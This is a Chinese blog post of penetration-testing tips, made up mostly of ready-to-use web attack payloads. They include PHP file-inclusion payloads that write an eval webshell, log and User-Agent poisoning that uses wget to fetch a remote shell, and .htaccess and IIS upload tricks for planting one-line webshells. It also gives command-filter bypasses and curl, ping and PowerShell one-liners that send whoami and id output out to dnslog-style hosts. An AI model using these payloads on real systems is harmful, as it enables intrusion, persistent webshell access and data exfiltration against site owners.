欢迎光临
梦想从学习开始!

渗透测试的一些小技巧| 小熊测试

本文主要介绍 渗透测试的一些小技巧| 小熊测试,小熊希望对大家的学习或者工作具有一定的参考学习价值,在测试领域有所提升和发展。

  结合最近学习的知识,总结一下渗透测试中的一些小技巧,仅做参考。

  0x01 PHP文件包含

  利用网站文件上传功能:,比如上传头像之类,可以尝试包含上传的文件。

  利用php封装协议 php://input 和 data:// : ,包含post数据造成php命令执行.

  http://example.com/test.php?url=php://input

  POST:<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST["pass"]);?>')?>

  包含log日志文件:当我们提交恶意代码时也会被记录,结合解析漏洞即可getshell(有读权限)。

  apache日志默认在 /etc/httpd/logs/access_log ;

  在日志文件中插入PHP代码

  方法一 :使用burpsuit抓包访问 ,绕过浏览器编码<>

  方法二 :curl 访问不存在的url

  curl http://example/shell.php?= <?php phpinfo();?>

  这样php代码就被写到log里面了 包含一下日志:

  http://127.0.0.1/lfi/index.php?page=/etc/httpd/logs/access_log

  包含/proc/self/environ文件:这需要PHP运行作为一个具有 cgion/proc 伪文件的系统且PHP脚本有权访问这些伪文件。

  填写User-Agent字段如下:<?system('wget http://eyidaima/shell.txt -O shell.php');?>

  包含会话文件:这需要攻击者能控制会话中的任何字符串值(注入代码,例如 phpinfo() ,会话文件必须存放在serializedsession文件且PHP脚本能够访问会话文件(通常是 /tmp/sess_SESSIONID 文件)。

  包含其他由php应用创建的文件:只要你能想到的,都可以尝试创建,然后包含他,比如数据库文件,缓存文件,应用程序级别的日志。

  0x02 利用 .htaccess 文件绕过黑名单

  .htaccess 文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。自定义 .htaccess 上传,内容如下:

  <FileMatch “shell.jpg”>

  SetHandler application/x-httpd-php

  </FileMatch>

  同目录下,上传一个shell.jpg文件,内容是一句话,这个时候就成功绕过。

  0x03 PHP流封装绕过截断

  假设存在文件包含的代码为:

  <?php

  $a = $_GET['file'];

  include $a.'.html.php';

  ?>

  但是我们 %00 无法截断, 只能包含 xxxx.html.php 首先我们新建一个 hello.html.php ,内容为 phpinfo() ;

  然后压缩成zip

  然后访问如下网址,即可成功包含压缩文件内的 hello.html.php

  http://example/index.php?file=zip://test.zip%23hello

  把我们输入的变量和include后面的变量合起来就是 zip://test.zip#hello.html.php

  代表当前目录下的 test.zip 压缩包里面的 hello.html.php ,于是就包含成功。

  0x04 通用防注入系统getshell

  很多人渗透测试的时候,发现防注入系统,比如说记录了ip,时间,提交数据等等,通过阅读类似程序的源码得知数据记录在 sqlin.asp 。

  提交如下数据:

  ┼???整????∨≡┩? 密码 a (加密方式是:ANSI->Unicode;工具:UNICODE2ANSI)

  提交 and 1= ┼???整????∨≡┩?

  菜刀连接 sqlin.asp 即可。

  0x05 iis+php黑名单上传突破

  技巧来源:P牛

  在php+window+iis环境下:

  双引号==点号;

  大于符号==问号;

  小于符号(“<”)==星号(“*”);

  该特性只能用于文件上传时覆盖已知的文件,于是这特性便略显鸡肋.不过P牛已经给出完美利用的方法:

  思路如下:

  1、利用冒号“:”截断

  2、利用“<”==“*”覆盖上传文件

  我们都知道在文件上传时,我们往往会考虑到文件名截断,如 %00 , : 去截断,如: bypass.php:jpg

  但是冒号截断产生的文件是空白的,里面并不会有任何的内容,虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以我们可以结合上面所说的特性完美成功利用.

  1、首先利用冒号生成我们将要覆盖的php文件,上传文件名为 bypass.php:jpg 的文件,截断之后产生一个 bypass.php 的空白php文件。

  2、利用上面的系统特性覆盖该文件: < 就等于 * ,而 * 代表任意字符burp里修改文件名为 bypass.<<< 内容为一句话,这样,就会生成一个带有一句话木马的 bypass.php 文件。

  0x06 命令执行绕过

  1、escapeshellcmd: escapeshellcmd() 对字符串中可能会欺骗 shell命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者执行操作符之前进行转义为 ^ ,利用 %1a ,可以绕过过滤执行命令。

  2、黑名单绕过

  执行ls命令:

  a=l;b=s;$a$b

  cat hello文件内容:

  a=c;b=at;c=he;d=llo;$a$b ${c}${d}

  3、空格绕过

  绕过空格

  ${IFS}

  cat${IFS}hello

  或者在读取文件的时候利用重定向符

  <>

  cat<>hello

  4、无回显

  无回显获取数据的需求还是挺大的,比如sql,xxe,xss等等,这个时候一般可以用dns/http通道来获取数据。

  linux:

  curl xxxx.ceye.io/`whoami`

  ping -c 1 `whoami`.xxxx.ceye.io

  特殊字符或者是空格出现的话,这时候可以通过一些编码来,比如base64

  curl http://xxxx.ceye.io/$(id|base64)

  windows:

  http请求:

  for /F %x in ('whoami') do start http://xxx.ceye.io/%x

  dns请求:

  获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

  获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

  用powershell来base64数据

  for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持小熊分享邦(www.xxfxb.com),希望大家能坚持软件测试之路,谢谢。

赞(0) 打赏
未经允许不得转载:小熊分享邦 » 渗透测试的一些小技巧| 小熊测试

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏